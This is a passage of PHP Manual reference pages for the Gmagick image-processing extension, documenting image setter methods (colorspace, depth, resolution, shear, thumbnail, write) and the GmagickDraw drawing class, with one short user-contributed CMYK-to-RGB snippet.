Gmagick::setimageblueprimary — Sets the image chromaticity blue primary point.

Description

public Gmagick Gmagick::setimageblueprimary ( float $x , float $y )

Sets the image chromaticity blue primary point.

Parameters

x

The blue primary x-point.

y

The blue primary y-point.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimagebackgroundcolor
Gmagick::setimagebordercolor
Gmagick


Sets the image border color.

Gmagick::setimageblueprimary
Gmagick::setimagechanneldepth
Gmagick
PHP Manual

Gmagick::setimagebordercolor

(PECL gmagick >= Unknown)

Gmagick::setimagebordercolor — Sets the image border color.

Description

public Gmagick Gmagick::setimagebordercolor ( GmagickPixel $color )

Sets the image border color.

Parameters

color

The border pixel wand.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimageblueprimary
Gmagick::setimagechanneldepth
Gmagick


Sets the depth of a particular image channel

Gmagick::setimagebordercolor
Gmagick::setimagecolorspace
Gmagick
PHP Manual

Gmagick::setimagechanneldepth

(PECL gmagick >= Unknown)

Gmagick::setimagechanneldepth — Sets the depth of a particular image channel

Description

public Gmagick Gmagick::setimagechanneldepth ( int $channel , int $depth )

Sets the depth of a particular image channel.

Parameters

channel

Identify which channel to extract: RedChannel, GreenChannel, BlueChannel, OpacityChannel, CyanChannel, MagentaChannel, YellowChannel, BlackChannel.

depth

The image depth in bits.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimagebordercolor
Gmagick::setimagecolorspace
Gmagick


Sets the image colorspace

Gmagick::setimagechanneldepth
Gmagick::setimagecompose
Gmagick
PHP Manual

Gmagick::setimagecolorspace

(PECL gmagick >= Unknown)

Gmagick::setimagecolorspace — Sets the image colorspace

Description

public Gmagick Gmagick::setimagecolorspace ( int $colorspace )

Sets the image colorspace.

Parameters

colorspace

The image colorspace: UndefinedColorspace, RGBColorspace, GRAYColorspace, TransparentColorspace, OHTAColorspace, XYZColorspace, YCbCrColorspace, YCCColorspace, YIQColorspace, YPbPrColorspace, YPbPrColorspace, YUVColorspace, CMYKColorspace, sRGBColorspace, HSLColorspace, or HWBColorspace.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

MPLong 28-Jun-2010 11:24
Convert CMYK to RGB:

<?php
$cs = $im->getimagecolorspace();
if ($cs == Gmagick::COLORSPACE_CMYK)
{
     $im->setImageColorspace(Gmagick::COLORSPACE_SRGB);
}
?>
Gmagick::setimagechanneldepth
Gmagick::setimagecompose
Gmagick


Sets the image composite operator

Gmagick::setimagecolorspace
Gmagick::setimagedelay
Gmagick
PHP Manual

Gmagick::setimagecompose

(PECL gmagick >= Unknown)

Gmagick::setimagecompose — Sets the image composite operator

Description

public Gmagick Gmagick::setimagecompose ( int $composite )

Sets the image composite operator.

Parameters

composite

The image composite operator.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimagecolorspace
Gmagick::setimagedelay
Gmagick


Sets the image delay

Gmagick::setimagecompose
Gmagick::setimagedepth
Gmagick
PHP Manual

Gmagick::setimagedelay

(PECL gmagick >= Unknown)

Gmagick::setimagedelay — Sets the image delay

Description

public Gmagick Gmagick::setimagedelay ( int $delay )

Sets the image delay

Parameters

delay

The image delay in 1/100th of a second.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimagecompose
Gmagick::setimagedepth
Gmagick


Sets the image depth

Gmagick::setimagedelay
Gmagick::setimagedispose
Gmagick
PHP Manual

Gmagick::setimagedepth

(PECL gmagick >= Unknown)

Gmagick::setimagedepth — Sets the image depth

Description

public Gmagick Gmagick::setimagedepth ( int $depth )

Sets the image depth

Parameters

depth

The image depth in bits: 8, 16, or 32.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimagedelay
Gmagick::setimagedispose
Gmagick


Sets the image disposal method

Gmagick::setimagedepth
Gmagick::setimagefilename
Gmagick
PHP Manual

Gmagick::setimagedispose

(PECL gmagick >= Unknown)

Gmagick::setimagedispose — Sets the image disposal method

Description

public Gmagick Gmagick::setimagedispose ( int $disposeType )

Sets the image disposal method.

Parameters

disposeType

The image disposal type.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimagedepth
Gmagick::setimagefilename
Gmagick


Sets the filename of a particular image in a sequence

Gmagick::setimagedispose
Gmagick::setimageformat
Gmagick
PHP Manual

Gmagick::setimagefilename

(PECL gmagick >= Unknown)

Gmagick::setimagefilename — Sets the filename of a particular image in a sequence

Description

public Gmagick Gmagick::setimagefilename ( string $filename )

Sets the filename of a particular image in a sequence.

Parameters

filename

The image filename.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimagedispose
Gmagick::setimageformat
Gmagick


Sets the format of a particular image

Gmagick::setimagefilename
Gmagick::setimagegamma
Gmagick
PHP Manual

Gmagick::setimageformat

(PECL gmagick >= Unknown)

Gmagick::setimageformat — Sets the format of a particular image

Description

public Gmagick Gmagick::setimageformat ( string $imageFormat )

Sets the format of a particular image in a sequence.

Parameters

imageFormat

The image format.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimagefilename
Gmagick::setimagegamma
Gmagick


Sets the image gamma

Gmagick::setimageformat
Gmagick::setimagegreenprimary
Gmagick
PHP Manual

Gmagick::setimagegamma

(PECL gmagick >= Unknown)

Gmagick::setimagegamma — Sets the image gamma

Description

public Gmagick Gmagick::setimagegamma ( float $gamma )

Sets the image gamma.

Parameters

gamma

The image gamma.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimageformat
Gmagick::setimagegreenprimary
Gmagick


TSets the image chromaticity green primary point.

Gmagick::setimagegamma
Gmagick::setimageindex
Gmagick
PHP Manual

Gmagick::setimagegreenprimary

(PECL gmagick >= Unknown)

Gmagick::setimagegreenprimary — TSets the image chromaticity green primary point.

Description

public Gmagick Gmagick::setimagegreenprimary ( float $x , float $y )

Sets the image chromaticity green primary point.

Parameters

x

The chromaticity green primary x-point.

y

The chromaticity green primary y-point.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimagegamma
Gmagick::setimageindex
Gmagick


Set the iterator to the position in the image list specified with the index parameter

Gmagick::setimagegreenprimary
Gmagick::setimageinterlacescheme
Gmagick
PHP Manual

Gmagick::setimageindex

(PECL gmagick >= Unknown)

Gmagick::setimageindex — Set the iterator to the position in the image list specified with the index parameter

Description

public Gmagick Gmagick::setimageindex ( int $index )

Set the iterator to the position in the image list specified with the index parameter.

Parameters

index

The scene number.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimagegreenprimary
Gmagick::setimageinterlacescheme
Gmagick


Sets the interlace scheme of the image.

Gmagick::setimageindex
Gmagick::setimageiterations
Gmagick
PHP Manual

Gmagick::setimageinterlacescheme

(PECL gmagick >= Unknown)

Gmagick::setimageinterlacescheme — Sets the interlace scheme of the image.

Description

public Gmagick Gmagick::setimageinterlacescheme ( int $interlace )

Sets the interlace scheme of the image.

Parameters

interlace

The image interlace scheme: NoInterlace, LineInterlace, PlaneInterlace, PartitionInterlace.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimageindex
Gmagick::setimageiterations
Gmagick


Sets the image iterations.

Gmagick::setimageinterlacescheme
Gmagick::setimageprofile
Gmagick
PHP Manual

Gmagick::setimageiterations

(PECL gmagick >= Unknown)

Gmagick::setimageiterations — Sets the image iterations.

Description

public Gmagick Gmagick::setimageiterations ( int $iterations )

Sets the image iterations.

Parameters

iterations

The image delay in 1/100th of a second.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimageinterlacescheme
Gmagick::setimageprofile
Gmagick


Adds a named profile to the Gmagick object

Gmagick::setimageiterations
Gmagick::setimageredprimary
Gmagick
PHP Manual

Gmagick::setimageprofile

(PECL gmagick >= Unknown)

Gmagick::setimageprofile — Adds a named profile to the Gmagick object

Description

public Gmagick Gmagick::setimageprofile ( string $name , string $profile )

Adds a named profile to the Gmagick object. If a profile with the same name already exists, it is replaced. This method differs from the Gmagick::ProfileImage() method in that it does not apply any CMS color profiles.

Parameters

name

Name of profile to add or remove: ICC, IPTC, or generic profile.

profile

The profile.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimageiterations
Gmagick::setimageredprimary
Gmagick


Sets the image chromaticity red primary point.

Gmagick::setimageprofile
Gmagick::setimagerenderingintent
Gmagick
PHP Manual

Gmagick::setimageredprimary

(PECL gmagick >= Unknown)

Gmagick::setimageredprimary — Sets the image chromaticity red primary point.

Description

public Gmagick Gmagick::setimageredprimary ( float $x , float $y )

Sets the image chromaticity red primary point.

Parameters

x

The red primary x-point.

y

The red primary y-point.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimageprofile
Gmagick::setimagerenderingintent
Gmagick


Sets the image rendering intent

Gmagick::setimageredprimary
Gmagick::setimageresolution
Gmagick
PHP Manual

Gmagick::setimagerenderingintent

(PECL gmagick >= Unknown)

Gmagick::setimagerenderingintent — Sets the image rendering intent

Description

public Gmagick Gmagick::setimagerenderingintent ( int $rendering_intent )

Sets the image rendering intent.

Parameters

rendering_intent

The image rendering intent: UndefinedIntent, SaturationIntent, PerceptualIntent, AbsoluteIntent, or RelativeIntent.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimageredprimary
Gmagick::setimageresolution
Gmagick


Sets the image resolution

Gmagick::setimagerenderingintent
Gmagick::setimagescene
Gmagick
PHP Manual

Gmagick::setimageresolution

(PECL gmagick >= Unknown)

Gmagick::setimageresolution — Sets the image resolution

Description

public Gmagick Gmagick::setimageresolution ( float $xResolution , float $yResolution )

Sets the image resolution.

Parameters

xResolution

The image x resolution.

yResolution

The image y resolution.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimagerenderingintent
Gmagick::setimagescene
Gmagick


Sets the image scene

Gmagick::setimageresolution
Gmagick::setimagetype
Gmagick
PHP Manual

Gmagick::setimagescene

(PECL gmagick >= Unknown)

Gmagick::setimagescene — Sets the image scene

Description

public Gmagick Gmagick::setimagescene ( int $scene )

Sets the image scene.

Parameters

scene

The image scene number.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimageresolution
Gmagick::setimagetype
Gmagick


Sets the image type

Gmagick::setimagescene
Gmagick::setimageunits
Gmagick
PHP Manual

Gmagick::setimagetype

(PECL gmagick >= Unknown)

Gmagick::setimagetype — Sets the image type

Description

public Gmagick Gmagick::setimagetype ( int $imgType )

Sets the image type.

Parameters

imgType

The image type: UndefinedType, BilevelType, GrayscaleType, GrayscaleMatteType, PaletteType, PaletteMatteType, TrueColorType, TrueColorMatteType, ColorSeparationType, ColorSeparationMatteType, or OptimizeType.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimagescene
Gmagick::setimageunits
Gmagick


Sets the image units of resolution.

Gmagick::setimagetype
Gmagick::setimagewhitepoint
Gmagick
PHP Manual

Gmagick::setimageunits

(PECL gmagick >= Unknown)

Gmagick::setimageunits — Sets the image units of resolution.

Description

public Gmagick Gmagick::setimageunits ( int $resolution )

Sets the image units of resolution.

Parameters

resolution

The image units of resolution : Undefinedresolution, PixelsPerInchResolution, or PixelsPerCentimeterResolution.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimagetype
Gmagick::setimagewhitepoint
Gmagick


Sets the image chromaticity white point.

Gmagick::setimageunits
Gmagick::setsamplingfactors
Gmagick
PHP Manual

Gmagick::setimagewhitepoint

(PECL gmagick >= Unknown)

Gmagick::setimagewhitepoint — Sets the image chromaticity white point.

Description

public Gmagick Gmagick::setimagewhitepoint ( float $x , float $y )

Sets the image chromaticity white point.

Parameters

x

The white x-point.

y

The white y-point.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimageunits
Gmagick::setsamplingfactors
Gmagick


Sets the image sampling factors.

Gmagick::setimagewhitepoint
Gmagick::setsize
Gmagick
PHP Manual

Gmagick::setsamplingfactors

(PECL gmagick >= Unknown)

Gmagick::setsamplingfactors — Sets the image sampling factors.

Description

public Gmagick Gmagick::setsamplingfactors ( array $factors )

Sets the image sampling factors.

Parameters

factors

An array of doubles representing the sampling factor for each color component (in RGB order).

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setimagewhitepoint
Gmagick::setsize
Gmagick


Sets the size of the Gmagick object

Gmagick::setsamplingfactors
Gmagick::shearimage
Gmagick
PHP Manual

Gmagick::setsize

(PECL gmagick >= Unknown)

Gmagick::setsize — Sets the size of the Gmagick object

Description

public Gmagick Gmagick::setsize ( int $columns , int $rows )

Sets the size of the Gmagick object. Set it before you read a raw image format such as RGB, GRAY, or CMYK.

Parameters

columns

The width in pixels.

rows

The height in pixels.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setsamplingfactors
Gmagick::shearimage
Gmagick


Creating a parallelogram

Gmagick::setsize
Gmagick::solarizeimage
Gmagick
PHP Manual

Gmagick::shearimage

(PECL gmagick >= Unknown)

Gmagick::shearimage — Creating a parallelogram

Description

public Gmagick Gmagick::shearimage ( mixed $color , float $xShear , float $yShear )

Slides one edge of an image along the X or Y axis, creating a parallelogram. An X direction shear slides an edge along the X axis, while a Y direction shear slides an edge along the Y axis. The amount of the shear is controlled by a shear angle. For X direction shears, x_shear is measured relative to the Y axis, and similarly, for Y direction shears y_shear is measured relative to the X axis. Empty triangles left over from shearing the image are filled with the background color.

Parameters

color

The background pixel wand.

xShear

The number of degrees to shear the image.

yShear

The number of degrees to shear the image.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setsize
Gmagick::solarizeimage
Gmagick


Applies a solarizing effect to the image

Gmagick::shearimage
Gmagick::spreadimage
Gmagick
PHP Manual

Gmagick::solarizeimage

(PECL gmagick >= Unknown)

Gmagick::solarizeimage — Applies a solarizing effect to the image

Description

public Gmagick Gmagick::solarizeimage ( int $threshold )

Applies a special effect to the image, similar to the effect achieved in a photo darkroom by selectively exposing areas of photo sensitive paper to light. Threshold ranges from 0 to QuantumRange and is a measure of the extent of the solarization.

Parameters

threshold

Define the extent of the solarization.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::shearimage
Gmagick::spreadimage
Gmagick


Randomly displaces each pixel in a block

Gmagick::solarizeimage
Gmagick::stripimage
Gmagick
PHP Manual

Gmagick::spreadimage

(PECL gmagick >= Unknown)

Gmagick::spreadimage — Randomly displaces each pixel in a block

Description

public Gmagick Gmagick::spreadimage ( float $radius )

Special effects method that randomly displaces each pixel in a block defined by the radius parameter.

Parameters

radius

Choose a random pixel in a neighborhood of this extent.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::solarizeimage
Gmagick::stripimage
Gmagick


Strips an image of all profiles and comments

Gmagick::spreadimage
Gmagick::swirlimage
Gmagick
PHP Manual

Gmagick::stripimage

(PECL gmagick >= Unknown)

Gmagick::stripimage — Strips an image of all profiles and comments

Description

public Gmagick Gmagick::stripimage ( void )

Strips an image of all profiles and comments.

Parameters

This function has no parameters.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::spreadimage
Gmagick::swirlimage
Gmagick


Swirls the pixels about the center of the image

Gmagick::stripimage
Gmagick::thumbnailimage
Gmagick
PHP Manual

Gmagick::swirlimage

(PECL gmagick >= Unknown)

Gmagick::swirlimage — Swirls the pixels about the center of the image

Description

public Gmagick Gmagick::swirlimage ( float $degrees )

Swirls the pixels about the center of the image, where degrees indicates the sweep of the arc through which each pixel is moved. You get a more dramatic effect as the degrees move from 1 to 360.

Parameters

degrees

Define the tightness of the swirling effect.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::stripimage
Gmagick::thumbnailimage
Gmagick


Changes the size of an image

Gmagick::swirlimage
Gmagick::trimimage
Gmagick
PHP Manual

Gmagick::thumbnailimage

(PECL gmagick >= Unknown)

Gmagick::thumbnailimage — Changes the size of an image

Description

public Gmagick Gmagick::thumbnailimage ( int $width , int $height [, bool $fit = false ] )

Changes the size of an image to the given dimensions and removes any associated profiles. The goal is to produce small low cost thumbnail images suited for display on the Web. If TRUE is given as a third parameter then columns and rows parameters are used as maximums for each side. Both sides will be scaled down until the match or are smaller than the parameter given for the side.

Parameters

width

Image width

height

Image height

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::swirlimage
Gmagick::trimimage
Gmagick


Remove edges from the image

Gmagick::thumbnailimage
Gmagick::write
Gmagick
PHP Manual

Gmagick::trimimage

(PECL gmagick >= Unknown)

Gmagick::trimimage — Remove edges from the image

Description

public Gmagick Gmagick::trimimage ( float $fuzz )

Remove edges that are the background color from the image.

Parameters

fuzz

By default target must match a particular pixel color exactly. However, in many cases two colors may differ by a small amount. The fuzz member of image defines how much tolerance is acceptable to consider two colors as the same. This parameter represents the variation on the quantum range.

Return Values

The Gmagick object

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::thumbnailimage
Gmagick::write
Gmagick


Writes an image to the specified filename

Gmagick::trimimage
Gmagick::writeimage
Gmagick
PHP Manual

Gmagick::write

(PECL gmagick >= Unknown)

Gmagick::write — Writes an image to the specified filename

Description

public void Gmagick::write ( string $filename )

Writes an image to the specified filename. If the filename parameter is NULL, the image is written to the filename set by Gmagick::ReadImage() or Gmagick::SetImageFilename().

Parameters

filename

The image filename.

Return Values

The Gmagick object

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::trimimage
Gmagick::writeimage
Gmagick


Writes an image to the specified filename

Gmagick::write
GmagickDraw
Gmagick
PHP Manual

Gmagick::writeimage

(PECL gmagick >= Unknown)

Gmagick::writeimage — Writes an image to the specified filename

Description

public Gmagick Gmagick::writeimage ( string $filename [, bool $all_frames = false ] )

Writes an image to the specified filename. If the filename parameter is NULL, the image is written to the filename set by Gmagick::ReadImage() or Gmagick::SetImageFilename().

Parameters

filename

The image filename.

Return Values

The Gmagick object

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::write
GmagickDraw
Gmagick


The GmagickDraw class

(No version information available, might only be in SVN)

Introduction

Class synopsis

GmagickDraw {
/* Methods */
public GmagickDraw annotate ( float $x , float $y , string $text )
public GmagickDraw arc ( float $sx , float $sy , float $ex , float $ey , float $sd , float $ed )
public GmagickDraw bezier ( array $coordinate_array )
public GmagickDraw ellipse ( float $ox , float $oy , float $rx , float $ry , float $start , float $end )
public void getfillcolor ( void )
public float getfillopacity ( void )
public string getfont ( void )
public float getfontsize ( void )
public int getfontstyle ( void )
public int getfontweight ( void )
public void getstrokecolor ( void )
public float getstrokeopacity ( void )
public float getstrokewidth ( void )
public int gettextdecoration ( void )
public string gettextencoding ( void )
public GmagickDraw line ( float $sx , float $sy , float $ex , float $ey )
public GmagickDraw point ( float $x , float $y )
public GmagickDraw polygon ( array $coordinates )
public GmagickDraw polyline ( array $coordinate_array )
public GmagickDraw rectangle ( float $x1 , float $y1 , float $x2 , float $y2 )
public GmagickDraw rotate ( float $degrees )
public GmagickDraw roundrectangle ( float $x1 , float $y1 , float $x2 , float $y2 , float $rx , float $ry )
public GmagickDraw scale ( float $x , float $y )
public GmagickDraw setfillcolor ( string $color )
public GmagickDraw setfillopacity ( float $fill_opacity )
public GmagickDraw setfont ( string $font )
public GmagickDraw setfontsize ( float $pointsize )
public GmagickDraw setfontstyle ( int $style )
public GmagickDraw setfontweight ( int $weight )
public GmagickDraw setstrokecolor ( GmagickPixel $color )
public GmagickDraw setstrokeopacity ( float $stroke_opacity )
public GmagickDraw setstrokewidth ( float $width )
public GmagickDraw settextdecoration ( int $decoration )
public GmagickDraw settextencoding ( string $encoding )
}

Table of Contents

  • GmagickDraw::annotate — Draws text on the image
  • GmagickDraw::arc — Draws an arc
  • GmagickDraw::bezier — Draws a bezier curve
  • GmagickDraw::ellipse — Draws an ellipse on the image
  • GmagickDraw::getfillcolor — Returns the fill color
  • GmagickDraw::getfillopacity — Returns the opacity used when drawing
  • GmagickDraw::getfont — Returns the font
  • GmagickDraw::getfontsize — Returns the font pointsize
  • GmagickDraw::getfontstyle — Returns the font style
  • GmagickDraw::getfontweight — Returns the font weight
  • GmagickDraw::getstrokecolor — Returns the color used for stroking object outlines
  • GmagickDraw::getstrokeopacity — Returns the opacity of stroked object outlines
  • GmagickDraw::getstrokewidth — Returns the width of the stroke used to draw object outlines
  • GmagickDraw::gettextdecoration — Returns the text decoration
  • GmagickDraw::gettextencoding — Returns the code set used for text annotations
  • GmagickDraw::line — The line purpose
  • GmagickDraw::point — Draws a point
  • GmagickDraw::polygon — Draws a polygon
  • GmagickDraw::polyline — Draws a polyline
  • GmagickDraw::rectangle — Draws a rectangle
  • GmagickDraw::rotate — Applies the specified rotation to the current coordinate space
  • GmagickDraw::roundrectangle — Draws a rounded rectangle
  • GmagickDraw::scale — Adjusts the scaling factor
  • GmagickDraw::setfillcolor — Sets the fill color to be used for drawing filled objects.
  • GmagickDraw::setfillopacity — The setfillopacity purpose
  • GmagickDraw::setfont — Sets the fully-specified font to use when annotating with text.
  • GmagickDraw::setfontsize — Sets the font pointsize to use when annotating with text.
  • GmagickDraw::setfontstyle — Sets the font style to use when annotating with text
  • GmagickDraw::setfontweight — Sets the font weight
  • GmagickDraw::setstrokecolor — Sets the color used for stroking object outlines.
  • GmagickDraw::setstrokeopacity — Specifies the opacity of stroked object outlines.
  • GmagickDraw::setstrokewidth — Sets the width of the stroke used to draw object outlines.
  • GmagickDraw::settextdecoration — Specifies a decoration
  • GmagickDraw::settextencoding — Specifies specifies the text code set

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::writeimage
GmagickDraw::annotate
Gmagick


Draws text on the image

GmagickDraw
GmagickDraw::arc
GmagickDraw
PHP Manual

GmagickDraw::annotate

(PECL gmagick >= Unknown)

GmagickDraw::annotate — Draws text on the image

Description

public GmagickDraw GmagickDraw::annotate ( float $x , float $y , string $text )

Draws text on the image.

Parameters

x

x ordinate to left of text

y

y ordinate to text baseline

text

text to draw

Return Values

The GmagickDraw object on success.

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw
GmagickDraw::arc
GmagickDraw


Draws an arc

GmagickDraw::annotate
GmagickDraw::bezier
GmagickDraw
PHP Manual

GmagickDraw::arc

(PECL gmagick >= Unknown)

GmagickDraw::arc — Draws an arc

Description

public GmagickDraw GmagickDraw::arc ( float $sx , float $sy , float $ex , float $ey , float $sd , float $ed )

Draws an arc falling within a specified bounding rectangle on the image.

Parameters

sx

starting x ordinate of bounding rectangle

sy

starting y ordinate of bounding rectangle

ex

ending x ordinate of bounding rectangle

ey

ending y ordinate of bounding rectangle

sd

starting degrees of rotation

ed

ending degrees of rotation

Return Values

The GmagickDraw object on success.

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::annotate
GmagickDraw::bezier
GmagickDraw


Draws a bezier curve

GmagickDraw::arc
GmagickDraw::ellipse
GmagickDraw
PHP Manual

GmagickDraw::bezier

(PECL gmagick >= Unknown)

GmagickDraw::bezier — Draws a bezier curve

Description

public GmagickDraw GmagickDraw::bezier ( array $coordinate_array )

Draws a bezier curve through a set of points on the image.

Parameters

coordinate_array

Coordinates array

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::arc
GmagickDraw::ellipse
GmagickDraw


Draws an ellipse on the image

GmagickDraw::bezier
GmagickDraw::getfillcolor
GmagickDraw
PHP Manual

GmagickDraw::ellipse

(PECL gmagick >= Unknown)

GmagickDraw::ellipse — Draws an ellipse on the image

Description

public GmagickDraw GmagickDraw::ellipse ( float $ox , float $oy , float $rx , float $ry , float $start , float $end )

Draws an ellipse on the image.

Parameters

ox

origin x ordinate

oy

origin y ordinate

rx

radius in x

ry

radius in y

start

starting rotation in degrees

end

ending rotation in degrees

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::bezier
GmagickDraw::getfillcolor
GmagickDraw


Returns the fill color

GmagickDraw::ellipse
GmagickDraw::getfillopacity
GmagickDraw
PHP Manual

GmagickDraw::getfillcolor

(PECL gmagick >= Unknown)

GmagickDraw::getfillcolor — Returns the fill color

Description

public void GmagickDraw::getfillcolor ( void )

Returns the fill color used for drawing filled objects.

Parameters

This function has no parameters.

Return Values

The GmagickPixel fill color used for drawing filled objects.

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::ellipse
GmagickDraw::getfillopacity
GmagickDraw


Returns the opacity used when drawing

GmagickDraw::getfillcolor
GmagickDraw::getfont
GmagickDraw
PHP Manual

GmagickDraw::getfillopacity

(PECL gmagick >= Unknown)

GmagickDraw::getfillopacity — Returns the opacity used when drawing

Description

public float GmagickDraw::getfillopacity ( void )

Returns the opacity used when drawing

Parameters

This function has no parameters.

Return Values

Returns the opacity used when drawing using the fill color or fill texture. Fully opaque is 1.0.

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::getfillcolor
GmagickDraw::getfont
GmagickDraw


Returns the font

GmagickDraw::getfillopacity
GmagickDraw::getfontsize
GmagickDraw
PHP Manual

GmagickDraw::getfont

(PECL gmagick >= Unknown)

GmagickDraw::getfont — Returns the font

Description

public string GmagickDraw::getfont ( void )

Returns a string specifying the font used when annotating with text.

Parameters

This function has no parameters.

Return Values

Returns a string on success and false if no font is set.

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::getfillopacity
GmagickDraw::getfontsize
GmagickDraw


Returns the font pointsize

GmagickDraw::getfont
GmagickDraw::getfontstyle
GmagickDraw
PHP Manual

GmagickDraw::getfontsize

(PECL gmagick >= Unknown)

GmagickDraw::getfontsize — Returns the font pointsize

Description

public float GmagickDraw::getfontsize ( void )

Returns the font pointsize used when annotating with text.

Parameters

This function has no parameters.

Return Values

Returns the font size associated with the current GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::getfont
GmagickDraw::getfontstyle
GmagickDraw


Returns the font style

GmagickDraw::getfontsize
GmagickDraw::getfontweight
GmagickDraw
PHP Manual

GmagickDraw::getfontstyle

(PECL gmagick >= Unknown)

GmagickDraw::getfontstyle — Returns the font style

Description

public int GmagickDraw::getfontstyle ( void )

Returns the font style used when annotating with text.

Parameters

This function has no parameters.

Return Values

Returns the font style constant (STYLE_) associated with the GmagickDraw object or 0 if no style is set.

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::getfontsize
GmagickDraw::getfontweight
GmagickDraw


Returns the font weight

GmagickDraw::getfontstyle
GmagickDraw::getstrokecolor
GmagickDraw
PHP Manual

GmagickDraw::getfontweight

(PECL gmagick >= Unknown)

GmagickDraw::getfontweight — Returns the font weight

Description

public int GmagickDraw::getfontweight ( void )

Returns the font weight used when annotating with text.

Parameters

This function has no parameters.

Return Values

Returns an int on success and 0 if no weight is set.

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::getfontstyle
GmagickDraw::getstrokecolor
GmagickDraw


Returns the color used for stroking object outlines

GmagickDraw::getfontweight
GmagickDraw::getstrokeopacity
GmagickDraw
PHP Manual

GmagickDraw::getstrokecolor

(PECL gmagick >= Unknown)

GmagickDraw::getstrokecolor — Returns the color used for stroking object outlines

Description

public void GmagickDraw::getstrokecolor ( void )

Returns the color used for stroking object outlines.

Parameters

This function has no parameters.

Return Values

Returns an GmagickPixel object which describes the color

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::getfontweight
GmagickDraw::getstrokeopacity
GmagickDraw


Returns the opacity of stroked object outlines

GmagickDraw::getstrokecolor
GmagickDraw::getstrokewidth
GmagickDraw
PHP Manual

GmagickDraw::getstrokeopacity

(PECL gmagick >= Unknown)

GmagickDraw::getstrokeopacity — Returns the opacity of stroked object outlines

Description

